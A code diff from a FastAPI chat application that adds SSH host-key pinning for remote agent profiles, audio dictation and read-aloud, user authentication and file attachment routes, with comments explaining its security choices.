"""Look at the host's key, and connect if it has already been accepted.
|
||||
|
||||
Two steps in one button, because they are one question: *is this the machine
|
||||
I meant, and will it let me in?* An unseen key comes back as a fingerprint
|
||||
to accept; an accepted one is used to log in and run something harmless.
|
||||
"""
|
||||
profile = _profile(db, user, profile_id)
|
||||
|
||||
try:
|
||||
line, fingerprint = await ssh_service.capture_host_key(
|
||||
profile.host, profile.port, timeout=profile.connect_timeout
|
||||
)
|
||||
except ExecError as exc:
|
||||
profile.last_error = exc.message
|
||||
profile.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
return render(
|
||||
request, "agents/_check.html", {"profile": profile, "error": exc.message}
|
||||
)
|
||||
|
||||
if not profile.host_key:
|
||||
# First sight. Nothing is pinned until a person says so.
|
||||
return render(
|
||||
request,
|
||||
"agents/_check.html",
|
||||
{"profile": profile, "offer": {"line": line, "fingerprint": fingerprint}},
|
||||
)
|
||||
|
||||
if line.strip() != profile.host_key.strip():
|
||||
message = (
|
||||
"This host is presenting a different key than the one you accepted. "
|
||||
"Nothing was sent to it. If you rebuilt the machine, forget the key "
|
||||
"below and check again; if you did not, stop and find out why."
|
||||
)
|
||||
profile.last_error = message
|
||||
profile.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
return render(
|
||||
request,
|
||||
"agents/_check.html",
|
||||
{
|
||||
"profile": profile,
|
||||
"error": message,
|
||||
"offer": {"line": line, "fingerprint": fingerprint, "changed": True},
|
||||
},
|
||||
)
|
||||
|
||||
try:
|
||||
found = await ssh_service.check(ssh_service.spec_from(profile), profile.default_dir)
|
||||
except ExecError as exc:
|
||||
profile.last_error = exc.message
|
||||
profile.last_checked_at = datetime.now(UTC)
|
||||
db.commit()
|
||||
return render(
|
||||
request, "agents/_check.html", {"profile": profile, "error": exc.message}
|
||||
)
|
||||
|
||||
profile.last_error = ""
|
||||
profile.last_checked_at = datetime.now(UTC)
|
||||
profile.server_info = {"system": found.get("system", ""), "cwd": found.get("cwd", "")}
|
||||
db.commit()
|
||||
return render(request, "agents/_check.html", {"profile": profile, "found": found})
|
||||
|
||||
|
||||
@router.post("/api/agents/{profile_id}/accept")
|
||||
async def accept_host_key(request: Request, db: Db, user: RequiredUser, profile_id: str):
|
||||
"""Pin the fingerprint that was just shown.
|
||||
|
||||
The line is re-fetched rather than taken from the form: a value that made a
|
||||
round trip through a browser is not what should end up as the thing every
|
||||
future connection is checked against.
|
||||
"""
|
||||
profile = _profile(db, user, profile_id)
|
||||
try:
|
||||
line, fingerprint = await ssh_service.capture_host_key(
|
||||
profile.host, profile.port, timeout=profile.connect_timeout
|
||||
)
|
||||
except ExecError as exc:
|
||||
return render(request, "agents/_check.html", {"profile": profile, "error": exc.message})
|
||||
|
||||
profile.host_key = line
|
||||
profile.host_fingerprint = fingerprint
|
||||
profile.last_error = ""
|
||||
db.commit()
|
||||
log.info("%s pinned host key for %s (%s)", user.email, profile.name, fingerprint)
|
||||
|
||||
return render(
|
||||
request,
|
||||
"agents/_check.html",
|
||||
{"profile": profile, "accepted": fingerprint},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/agents/{profile_id}/forget")
|
||||
async def forget_host_key(request: Request, db: Db, user: RequiredUser, profile_id: str):
|
||||
profile = _profile(db, user, profile_id)
|
||||
profile.host_key = ""
|
||||
profile.host_fingerprint = ""
|
||||
# Un-trusting a host has to reach the shell already open on it, or the one
|
||||
# connection that matters is the one this does not touch.
|
||||
await terminal_service.close_for_profile(profile.id)
|
||||
index_service.forget(profile.id)
|
||||
db.commit()
|
||||
return render(request, "agents/_check.html", {"profile": profile, "forgotten": True})
|
||||
|
||||
|
||||
@router.post("/api/agents/{profile_id}/delete")
|
||||
async def delete_profile(db: Db, user: RequiredUser, profile_id: str) -> Response:
|
||||
profile = _profile(db, user, profile_id)
|
||||
name = profile.name
|
||||
await terminal_service.close_for_profile(profile.id)
|
||||
index_service.forget(profile.id)
|
||||
db.delete(profile)
|
||||
db.commit()
|
||||
log.info("%s deleted ssh profile %s", user.email, name)
|
||||
return _back(f"Deleted {name}.")
|
||||
|
||||
|
||||
@router.post("/api/agents/{profile_id}")
|
||||
async def update_profile(request: Request, db: Db, user: RequiredUser, profile_id: str):
|
||||
profile = _profile(db, user, profile_id)
|
||||
form = await request.form()
|
||||
|
||||
before = (profile.host, profile.port)
|
||||
_apply(profile, form)
|
||||
|
||||
if problem := _problem(db, profile, user.id, existing_id=profile.id):
|
||||
db.rollback()
|
||||
return _detail(
|
||||
request, db, user, _profile(db, user, profile_id), is_new=False, error=problem
|
||||
)
|
||||
|
||||
profile.password_encrypted = keep_or_replace(
|
||||
str(form.get("password") or ""), profile.password_encrypted
|
||||
)
|
||||
profile.private_key_encrypted = keep_or_replace(
|
||||
str(form.get("private_key") or ""), profile.private_key_encrypted
|
||||
)
|
||||
profile.key_passphrase_encrypted = keep_or_replace(
|
||||
str(form.get("key_passphrase") or ""), profile.key_passphrase_encrypted
|
||||
)
|
||||
if profile.auth == AUTH_PASSWORD:
|
||||
profile.private_key_encrypted = ""
|
||||
profile.key_passphrase_encrypted = ""
|
||||
|
||||
# A pinned key belongs to a host and a port. Moving either means this is a
|
||||
# different machine until proven otherwise, and silently keeping the old
|
||||
# key would be the one mistake this whole mechanism exists to prevent.
|
||||
if (profile.host, profile.port) != before and profile.host_key:
|
||||
profile.host_key = ""
|
||||
profile.host_fingerprint = ""
|
||||
log.info("%s moved ssh profile %s; its host key was forgotten", user.email, profile.name)
|
||||
|
||||
# A shell already open holds its own connection and would not notice any of
|
||||
# this. `session.profile_for` re-checks the profile on every reply, so the
|
||||
# model stops at once; without the line below, "I disabled that connection"
|
||||
# would simply not be true of the terminal on screen.
|
||||
if not profile.enabled or not profile.host_key or (profile.host, profile.port) != before:
|
||||
await terminal_service.close_for_profile(profile.id)
|
||||
index_service.forget(profile.id)
|
||||
|
||||
db.commit()
|
||||
return RedirectResponse(
|
||||
f"/agents/{profile.id}?saved=Saved.", status_code=status.HTTP_303_SEE_OTHER
|
||||
)
|
||||
@@ -0,0 +1,183 @@
|
||||
"""Dictation and read-aloud.
|
||||
|
||||
Both directions go through the server rather than from the browser to the audio
|
||||
endpoint directly, for the same reason model requests do: the endpoint is often
|
||||
on a private address the browser cannot reach, and its API key must never leave
|
||||
this process.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Depends, File, HTTPException, UploadFile, status
|
||||
from fastapi.responses import PlainTextResponse, Response, StreamingResponse
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.db.models import Chat, Message, User
|
||||
from lembas.services import audio as audio_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.llm.openai_client import LLMError
|
||||
from lembas.services.markdown import speakable_text
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/audio", tags=["audio"])
|
||||
|
||||
# A minute of speech is well under a megabyte in any browser codec; this is a
|
||||
# ceiling on nonsense, not a budget. Recorded audio is held in memory and never
|
||||
# written to disk: it is not an attachment, has no owner and nothing would ever
|
||||
# sweep it up.
|
||||
MAX_AUDIO_BYTES = 25 * 1024 * 1024
|
||||
|
||||
|
||||
def _user_audio(user: User) -> dict:
|
||||
return dict((user.settings_json or {}).get("audio") or {})
|
||||
|
||||
|
||||
def resolve_voice(config: dict, user: User) -> str:
|
||||
"""The voice a given user should be read to in.
|
||||
|
||||
Their own choice, then the instance default, then whatever the endpoint
|
||||
picks. Not validated against the discovered list: a voice can disappear
|
||||
when a server is reconfigured, and falling back beats failing.
|
||||
"""
|
||||
return (_user_audio(user).get("voice") or config.get("tts_voice") or "").strip()
|
||||
|
||||
|
||||
def resolve_speed(config: dict, user: User) -> float:
|
||||
"""The playback speed for this user, in the range every endpoint accepts.
|
||||
|
||||
Key presence decides which layer wins, not truthiness: chained `or` would
|
||||
make a stored speed of 0 fall through to the default instead of being
|
||||
clamped, which is a different answer for no stated reason.
|
||||
"""
|
||||
preferences = _user_audio(user)
|
||||
if "speed" in preferences:
|
||||
raw = preferences["speed"]
|
||||
elif "tts_speed" in config:
|
||||
raw = config["tts_speed"]
|
||||
else:
|
||||
return 1.0
|
||||
|
||||
try:
|
||||
chosen = float(raw)
|
||||
except (TypeError, ValueError):
|
||||
return 1.0
|
||||
# Clamped rather than dropped, unlike the sampling parameters: a speed of 0
|
||||
# is not a slower reading, it is silence.
|
||||
return min(max(chosen, 0.25), 4.0)
|
||||
|
||||
|
||||
@router.post(
|
||||
"/transcribe", dependencies=[Depends(require_permission("audio.transcribe"))]
|
||||
)
|
||||
async def transcribe(
|
||||
db: Db, user: RequiredUser, file: UploadFile = File(...)
|
||||
) -> Response:
|
||||
"""Turn a recording into text for the composer.
|
||||
|
||||
Returns plain text, not HTML: the caller assigns it to a textarea's value,
|
||||
where it is never parsed as markup.
|
||||
"""
|
||||
config = settings_store.audio(db)
|
||||
if not config.get("stt_enabled"):
|
||||
raise HTTPException(
|
||||
status.HTTP_404_NOT_FOUND, "Dictation is not enabled on this instance."
|
||||
)
|
||||
|
||||
data = await file.read(MAX_AUDIO_BYTES + 1)
|
||||
if len(data) > MAX_AUDIO_BYTES:
|
||||
raise HTTPException(
|
||||
status.HTTP_413_CONTENT_TOO_LARGE, "That recording is too long."
|
||||
)
|
||||
if not data:
|
||||
raise HTTPException(status.HTTP_400_BAD_REQUEST, "The recording was empty.")
|
||||
|
||||
language = (_user_audio(user).get("language") or config.get("stt_language") or "").strip()
|
||||
|
||||
try:
|
||||
text = await audio_service.transcribe(
|
||||
audio_service.endpoint_for(config, "stt"),
|
||||
data=data,
|
||||
filename=file.filename or "speech.webm",
|
||||
content_type=file.content_type or "audio/webm",
|
||||
model=config.get("stt_model") or "whisper-1",
|
||||
language=language,
|
||||
)
|
||||
except LLMError as exc:
|
||||
log.info("transcription failed: %s", exc.message)
|
||||
raise HTTPException(status.HTTP_502_BAD_GATEWAY, exc.message) from exc
|
||||
|
||||
return PlainTextResponse(text)
|
||||
|
||||
|
||||
@router.get(
|
||||
"/speech/{chat_id}/{message_id}",
|
||||
dependencies=[Depends(require_permission("audio.listen"))],
|
||||
)
|
||||
async def speech(db: Db, user: RequiredUser, chat_id: str, message_id: str) -> Response:
|
||||
"""Read one message aloud."""
|
||||
config = settings_store.audio(db)
|
||||
if not config.get("tts_enabled"):
|
||||
raise HTTPException(
|
||||
status.HTTP_404_NOT_FOUND, "Read-aloud is not enabled on this instance."
|
||||
)
|
||||
|
||||
message = _owned_message(db, chat_id, message_id, user)
|
||||
text = speakable_text(message.content)
|
||||
if not text:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "There is nothing to read out.")
|
||||
|
||||
try:
|
||||
media_type, stream = await audio_service.speak(
|
||||
audio_service.endpoint_for(config, "tts"),
|
||||
text,
|
||||
model=config.get("tts_model") or "tts-1",
|
||||
voice=resolve_voice(config, user),
|
||||
fmt=config.get("tts_format") or "mp3",
|
||||
speed=resolve_speed(config, user),
|
||||
)
|
||||
except LLMError as exc:
|
||||
log.info("speech failed: %s", exc.message)
|
||||
raise HTTPException(status.HTTP_502_BAD_GATEWAY, exc.message) from exc
|
||||
|
||||
return StreamingResponse(
|
||||
stream,
|
||||
media_type=media_type,
|
||||
# Not cached: the voice can change under the reader between plays, and
|
||||
# a message can be regenerated at the same URL.
|
||||
headers={"Cache-Control": "no-store", "X-Accel-Buffering": "no"},
|
||||
)
|
||||
|
||||
|
||||
async def available_voices(config: dict, *, refresh: bool = False) -> tuple[list[str], str]:
|
||||
"""Discovered voices and, if discovery failed, why.
|
||||
|
||||
Returns rather than raises: a settings page whose voice list could not be
|
||||
fetched should still render, with the reason next to an empty list.
|
||||
"""
|
||||
if not config.get("tts_enabled") or not (config.get("tts_base_url") or "").strip():
|
||||
return [], ""
|
||||
try:
|
||||
return await audio_service.voices(
|
||||
audio_service.endpoint_for(config, "tts"), refresh=refresh
|
||||
), ""
|
||||
except LLMError as exc:
|
||||
return [], exc.message
|
||||
|
||||
|
||||
def _owned_message(db: DBSession, chat_id: str, message_id: str, user: User) -> Message:
|
||||
"""The message, if it belongs to a chat this user owns.
|
||||
|
||||
404 rather than 403 throughout, matching api/chats.py: whether a given id
|
||||
exists is not information these endpoints hand out.
|
||||
"""
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
message = db.get(Message, message_id)
|
||||
if message is None or message.chat_id != chat.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That message no longer exists.")
|
||||
return message
|
||||
@@ -0,0 +1,212 @@
|
||||
"""Registration, sign-in and sign-out."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, Request, Response, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy import func, select
|
||||
|
||||
from lembas.api.deps import CurrentUser, Db
|
||||
from lembas.config import settings
|
||||
from lembas.db.models import ROLE_ADMIN, ROLE_USER, User
|
||||
from lembas.security.passwords import hash_password, validate_password, verify_password
|
||||
from lembas.security.sessions import COOKIE_NAME, create_session, revoke_session
|
||||
from lembas.services import settings_store
|
||||
from lembas.web.templating import render
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/auth", tags=["auth"])
|
||||
|
||||
|
||||
def _no_users_yet(db: Db) -> bool:
|
||||
return db.scalar(select(func.count()).select_from(User)) == 0
|
||||
|
||||
|
||||
def _set_session_cookie(response: Response, token: str) -> None:
|
||||
response.set_cookie(
|
||||
COOKIE_NAME,
|
||||
token,
|
||||
max_age=settings.session_ttl,
|
||||
httponly=True,
|
||||
# Lax is what makes this application CSRF-safe without tokens: the
|
||||
# cookie is not sent on cross-site POSTs, and every mutating route here
|
||||
# is a POST. Do not relax to "none".
|
||||
#
|
||||
# One route is no longer a POST: the terminal WebSocket is a GET, and
|
||||
# what it opens is a shell. Lax still withholds the cookie from a
|
||||
# handshake a foreign page starts, so the attack is blocked -- but the
|
||||
# sentence above is no longer the whole story, which is why
|
||||
# `api/terminal.py` also *requires* a same-origin Origin header rather
|
||||
# than merely checking one when it happens to be there.
|
||||
samesite="lax",
|
||||
# Only over HTTPS when the deployment is not plain local http. Marking
|
||||
# it secure on http would silently break sign-in for a LAN install.
|
||||
# It has always meant "a network attacker on plain http can steal a
|
||||
# session"; with the terminal it also means they get a shell on the
|
||||
# machine behind that chat. See deploy/README.md.
|
||||
secure=False,
|
||||
path="/",
|
||||
)
|
||||
|
||||
|
||||
def _safe_next(raw: str | None) -> str:
|
||||
"""Reject open redirects: only same-origin absolute paths are allowed."""
|
||||
if not raw or not raw.startswith("/") or raw.startswith("//"):
|
||||
return "/"
|
||||
return raw
|
||||
|
||||
|
||||
def _login_page(request: Request, db: Db, *, status_code: int = 200, **context):
|
||||
"""Render the sign-in page.
|
||||
|
||||
Always goes through here so `allow_signup` reflects the *stored* setting
|
||||
rather than the environment default baked in by render(). Otherwise the
|
||||
"Create one" link would keep appearing after an administrator closed
|
||||
registration, offering a link that only leads to a refusal.
|
||||
"""
|
||||
context.setdefault("next", "/")
|
||||
context["allow_signup"] = settings_store.signup_allowed(db)
|
||||
return render(request, "auth/login.html", context, status_code=status_code)
|
||||
|
||||
|
||||
@router.get("/login")
|
||||
async def login_form(request: Request, db: Db, user: CurrentUser, next: str = "/"):
|
||||
if user is not None:
|
||||
return RedirectResponse(_safe_next(next), status_code=status.HTTP_303_SEE_OTHER)
|
||||
# An empty database means this install has never been set up. Send the
|
||||
# first visitor straight to registration rather than to a login form they
|
||||
# cannot possibly satisfy.
|
||||
if _no_users_yet(db):
|
||||
return RedirectResponse("/auth/register", status_code=status.HTTP_303_SEE_OTHER)
|
||||
return _login_page(request, db, next=_safe_next(next))
|
||||
|
||||
|
||||
@router.post("/login")
|
||||
async def login(
|
||||
request: Request,
|
||||
db: Db,
|
||||
email: str = Form(...),
|
||||
password: str = Form(...),
|
||||
next: str = Form("/"),
|
||||
):
|
||||
email = email.strip().lower()
|
||||
user = db.scalar(select(User).where(User.email == email))
|
||||
|
||||
# One message for "no such account" and "wrong password" alike, so the form
|
||||
# cannot be used to discover which addresses are registered.
|
||||
if user is None or not verify_password(password, user.password_hash):
|
||||
log.info("failed sign-in for %s", email)
|
||||
return _login_page(
|
||||
request,
|
||||
db,
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
error="That email and password do not match.",
|
||||
email=email,
|
||||
next=_safe_next(next),
|
||||
)
|
||||
|
||||
if not user.active:
|
||||
return _login_page(
|
||||
request,
|
||||
db,
|
||||
status_code=status.HTTP_403_FORBIDDEN,
|
||||
error="This account has been deactivated. Ask an administrator.",
|
||||
email=email,
|
||||
next=_safe_next(next),
|
||||
)
|
||||
|
||||
token = create_session(
|
||||
db,
|
||||
user,
|
||||
user_agent=request.headers.get("user-agent", ""),
|
||||
ip_address=request.client.host if request.client else "",
|
||||
)
|
||||
response = RedirectResponse(_safe_next(next), status_code=status.HTTP_303_SEE_OTHER)
|
||||
_set_session_cookie(response, token)
|
||||
return response
|
||||
|
||||
|
||||
@router.get("/register")
|
||||
async def register_form(request: Request, db: Db, user: CurrentUser):
|
||||
if user is not None:
|
||||
return RedirectResponse("/", status_code=status.HTTP_303_SEE_OTHER)
|
||||
first_run = _no_users_yet(db)
|
||||
if not first_run and not settings_store.signup_allowed(db):
|
||||
return _login_page(
|
||||
request,
|
||||
db,
|
||||
status_code=status.HTTP_403_FORBIDDEN,
|
||||
error="Registration is closed. Ask an administrator for an account.",
|
||||
)
|
||||
return render(request, "auth/register.html", {"first_run": first_run})
|
||||
|
||||
|
||||
@router.post("/register")
|
||||
async def register(
|
||||
request: Request,
|
||||
db: Db,
|
||||
name: str = Form(...),
|
||||
email: str = Form(...),
|
||||
password: str = Form(...),
|
||||
):
|
||||
first_run = _no_users_yet(db)
|
||||
if not first_run and not settings_store.signup_allowed(db):
|
||||
return _login_page(
|
||||
request,
|
||||
db,
|
||||
status_code=status.HTTP_403_FORBIDDEN,
|
||||
error="Registration is closed. Ask an administrator for an account.",
|
||||
)
|
||||
|
||||
name = name.strip()
|
||||
email = email.strip().lower()
|
||||
|
||||
def fail(message: str) -> Response:
|
||||
return render(
|
||||
request,
|
||||
"auth/register.html",
|
||||
{"error": message, "name": name, "email": email, "first_run": first_run},
|
||||
status_code=status.HTTP_400_BAD_REQUEST,
|
||||
)
|
||||
|
||||
if not name:
|
||||
return fail("Please enter a name.")
|
||||
if "@" not in email or "." not in email.split("@")[-1]:
|
||||
return fail("Please enter a valid email address.")
|
||||
if (problem := validate_password(password)) is not None:
|
||||
return fail(problem)
|
||||
if db.scalar(select(User).where(User.email == email)) is not None:
|
||||
return fail("An account with that email already exists.")
|
||||
|
||||
# Whoever sets the instance up owns it. Everyone after that is a plain user
|
||||
# until an admin says otherwise.
|
||||
user = User(
|
||||
name=name,
|
||||
email=email,
|
||||
password_hash=hash_password(password),
|
||||
role=ROLE_ADMIN if first_run else ROLE_USER,
|
||||
)
|
||||
db.add(user)
|
||||
db.commit()
|
||||
log.info("registered %s as %s", email, user.role)
|
||||
|
||||
token = create_session(
|
||||
db,
|
||||
user,
|
||||
user_agent=request.headers.get("user-agent", ""),
|
||||
ip_address=request.client.host if request.client else "",
|
||||
)
|
||||
response = RedirectResponse("/", status_code=status.HTTP_303_SEE_OTHER)
|
||||
_set_session_cookie(response, token)
|
||||
return response
|
||||
|
||||
|
||||
@router.post("/logout")
|
||||
async def logout(request: Request, db: Db):
|
||||
revoke_session(db, request.cookies.get(COOKIE_NAME))
|
||||
response = RedirectResponse("/auth/login", status_code=status.HTTP_303_SEE_OTHER)
|
||||
response.delete_cookie(COOKIE_NAME, path="/")
|
||||
return response
|
||||
@@ -8,6 +8,7 @@ from typing import Annotated
|
||||
from fastapi import Depends, HTTPException, Request, status
|
||||
from fastapi.responses import RedirectResponse
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
from starlette.requests import HTTPConnection
|
||||
|
||||
from lembas.db.models import User
|
||||
from lembas.db.session import get_session_factory
|
||||
@@ -26,17 +27,23 @@ def get_db() -> Iterator[DBSession]:
|
||||
Db = Annotated[DBSession, Depends(get_db)]
|
||||
|
||||
|
||||
def get_current_user(request: Request, db: Db) -> User | None:
|
||||
def get_current_user(conn: HTTPConnection, db: Db) -> User | None:
|
||||
"""Resolve the session cookie to a user, or None when signed out.
|
||||
|
||||
Cached on request.state so several dependencies in one request do not each
|
||||
hit the sessions table.
|
||||
Cached on the connection's state so several dependencies in one request do
|
||||
not each hit the sessions table.
|
||||
|
||||
`HTTPConnection` rather than `Request` because the terminal panel is a
|
||||
WebSocket, and FastAPI injects a `WebSocket` there -- annotating this
|
||||
`Request` fails at *connect* time rather than at import, so it would pass
|
||||
every smoke test and break in a browser. `HTTPConnection` is the base of
|
||||
both and carries the cookies and the state either way.
|
||||
"""
|
||||
cached = getattr(request.state, "user", None)
|
||||
cached = getattr(conn.state, "user", None)
|
||||
if cached is not None:
|
||||
return cached
|
||||
user = resolve_session(db, request.cookies.get(COOKIE_NAME))
|
||||
request.state.user = user
|
||||
user = resolve_session(db, conn.cookies.get(COOKIE_NAME))
|
||||
conn.state.user = user
|
||||
return user
|
||||
|
||||
|
||||
@@ -78,6 +85,27 @@ def require_admin(user: RequiredUser) -> User:
|
||||
AdminUser = Annotated[User, Depends(require_admin)]
|
||||
|
||||
|
||||
def require_permission(key: str):
|
||||
"""Dependency factory guarding a route behind a named permission.
|
||||
|
||||
@router.post("", dependencies=[Depends(require_permission("chat.create"))])
|
||||
|
||||
Administrators always pass; see lembas.security.permissions for why.
|
||||
"""
|
||||
|
||||
def guard(db: Db, user: RequiredUser) -> User:
|
||||
from lembas.security import permissions
|
||||
|
||||
if not permissions.has(db, user, key):
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_403_FORBIDDEN,
|
||||
detail="You do not have permission to do that.",
|
||||
)
|
||||
return user
|
||||
|
||||
return guard
|
||||
|
||||
|
||||
def is_htmx(request: Request) -> bool:
|
||||
return request.headers.get("HX-Request") == "true"
|
||||
|
||||
|
||||
@@ -0,0 +1,511 @@
|
||||
"""Uploading, serving and removing chat attachments."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import (
|
||||
APIRouter,
|
||||
Depends,
|
||||
File,
|
||||
Form,
|
||||
HTTPException,
|
||||
Request,
|
||||
Response,
|
||||
UploadFile,
|
||||
status,
|
||||
)
|
||||
from fastapi.responses import FileResponse
|
||||
from sqlalchemy import select
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.db.models import Attachment, Document, KnowledgeBase, Note
|
||||
from lembas.security import permissions
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.fetch import FetchError, fetch
|
||||
from lembas.services.library import documents as documents_service
|
||||
from lembas.services.library import notes as notes_service
|
||||
from lembas.services.library import skills as skills_service
|
||||
from lembas.web.templating import templates
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/files", tags=["files"])
|
||||
|
||||
|
||||
def _owned(db: Db, attachment_id: str, user_id: str) -> Attachment:
|
||||
attachment = db.get(Attachment, attachment_id)
|
||||
if attachment is None or attachment.user_id != user_id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That file no longer exists.")
|
||||
return attachment
|
||||
|
||||
|
||||
@router.post("", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def upload(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
file: UploadFile = File(...),
|
||||
chat_id: str = "",
|
||||
) -> Response:
|
||||
"""Accept one file and return the chip that represents it in the composer.
|
||||
|
||||
The attachment is stored immediately but left unbound: it only joins a
|
||||
message when that message is sent. That is what lets a file be removed
|
||||
before sending, and what the orphan sweep later cleans up.
|
||||
"""
|
||||
payload = await file.read()
|
||||
|
||||
try:
|
||||
attachment = files_service.store(
|
||||
db,
|
||||
user_id=user.id,
|
||||
chat_id=chat_id or None,
|
||||
payload=payload,
|
||||
filename=file.filename or "file",
|
||||
)
|
||||
except files_service.FileError as exc:
|
||||
# 200 with an error chip rather than a 4xx: htmx swaps the response
|
||||
# body either way, and an error the user can read beats a silent
|
||||
# failure in the console.
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_attachment_error.html",
|
||||
{"request": request, "filename": file.filename or "file", "error": str(exc)},
|
||||
)
|
||||
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_attachment_chip.html",
|
||||
{"request": request, "attachment": attachment},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/link", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_link(
|
||||
request: Request, db: Db, user: RequiredUser, url: str = Form(""), chat_id: str = Form("")
|
||||
) -> Response:
|
||||
"""Fetch a web page and attach its text.
|
||||
|
||||
The page is reduced to text here and stored, rather than being fetched again
|
||||
when the message is sent: the same rule as PDF extraction. A reply must not
|
||||
change because a page was edited between composing and sending.
|
||||
"""
|
||||
config = settings_store.search(db)
|
||||
try:
|
||||
page = await fetch(url, allow_private=bool(config.get("allow_private_fetch")))
|
||||
except FetchError as exc:
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_attachment_error.html",
|
||||
{"request": request, "filename": url[:80] or "link", "error": exc.message},
|
||||
)
|
||||
|
||||
attachment = files_service.store_text(
|
||||
db,
|
||||
user_id=user.id,
|
||||
chat_id=chat_id or None,
|
||||
filename=f"{page.title[:120] or 'page'}.txt",
|
||||
text=page.text,
|
||||
truncated=page.truncated,
|
||||
source_note=page.url,
|
||||
)
|
||||
return templates.TemplateResponse(
|
||||
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-knowledge", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_knowledge(
|
||||
request: Request, db: Db, user: RequiredUser, document_id: str = Form(""),
|
||||
chat_id: str = Form(""),
|
||||
) -> Response:
|
||||
"""Attach a library document to the message being composed.
|
||||
|
||||
The document is **copied**, not referenced. History must not change under a
|
||||
conversation because a document was later edited or deleted -- the same
|
||||
reason a PDF's text is extracted once at upload rather than per request.
|
||||
"""
|
||||
document = documents_service.get(db, document_id, user)
|
||||
if document is None:
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_attachment_error.html",
|
||||
{
|
||||
"request": request,
|
||||
"filename": "document",
|
||||
"error": "That document is not available.",
|
||||
},
|
||||
)
|
||||
|
||||
attachment = files_service.copy_document(
|
||||
db, user_id=user.id, chat_id=chat_id or None, document=document
|
||||
)
|
||||
return templates.TemplateResponse(
|
||||
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
|
||||
)
|
||||
|
||||
|
||||
def _chip(request: Request, attachment: Attachment) -> Response:
|
||||
return templates.TemplateResponse(
|
||||
request, "chat/_attachment_chip.html", {"request": request, "attachment": attachment}
|
||||
)
|
||||
|
||||
|
||||
def _not_available(request: Request, what: str) -> Response:
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_attachment_error.html",
|
||||
{"request": request, "filename": what, "error": f"That {what} is not available."},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-note", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_note(
|
||||
request: Request, db: Db, user: RequiredUser, note_id: str = Form(""), chat_id: str = Form("")
|
||||
) -> Response:
|
||||
"""Attach a note the model wrote earlier.
|
||||
|
||||
A copy, like every other attach path: a note is edited far more often than a
|
||||
document, and a transcript that changes underneath itself because somebody
|
||||
tidied a note later is the thing all of this is arranged to prevent.
|
||||
"""
|
||||
note = notes_service.get(db, note_id, user)
|
||||
if note is None:
|
||||
return _not_available(request, "note")
|
||||
|
||||
return _chip(
|
||||
request,
|
||||
files_service.store_text(
|
||||
db,
|
||||
user_id=user.id,
|
||||
chat_id=chat_id or None,
|
||||
filename=f"{note.title or 'note'}.txt",
|
||||
text=note.body,
|
||||
source_path=note.title or "",
|
||||
source_label="Note",
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-skill", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_skill(
|
||||
request: Request, db: Db, user: RequiredUser, skill_id: str = Form(""), chat_id: str = Form("")
|
||||
) -> Response:
|
||||
"""Hand a skill over directly, rather than hoping the model fetches it.
|
||||
|
||||
The index of enabled skills is already in the harness and `skill_get` pulls
|
||||
a body on demand -- but only if the model decides to. `@` is the reader
|
||||
saying "use this one", which is a different act and deserves a way to say it.
|
||||
"""
|
||||
skill = skills_service.get(db, skill_id, user)
|
||||
if skill is None:
|
||||
return _not_available(request, "skill")
|
||||
|
||||
return _chip(
|
||||
request,
|
||||
files_service.store_text(
|
||||
db,
|
||||
user_id=user.id,
|
||||
chat_id=chat_id or None,
|
||||
filename=f"{skill.name}.md",
|
||||
text=skill.body,
|
||||
source_path=skill.name,
|
||||
source_label="Skill",
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
@router.post("/from-attachment", dependencies=[Depends(require_permission("files.upload"))])
|
||||
async def attach_from_attachment(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
attachment_id: str = Form(""),
|
||||
chat_id: str = Form(""),
|
||||
) -> Response:
|
||||
"""Point at something already in this conversation, without uploading again.
|
||||
|
||||
Copied rather than referenced, like everything else here -- an attachment
|
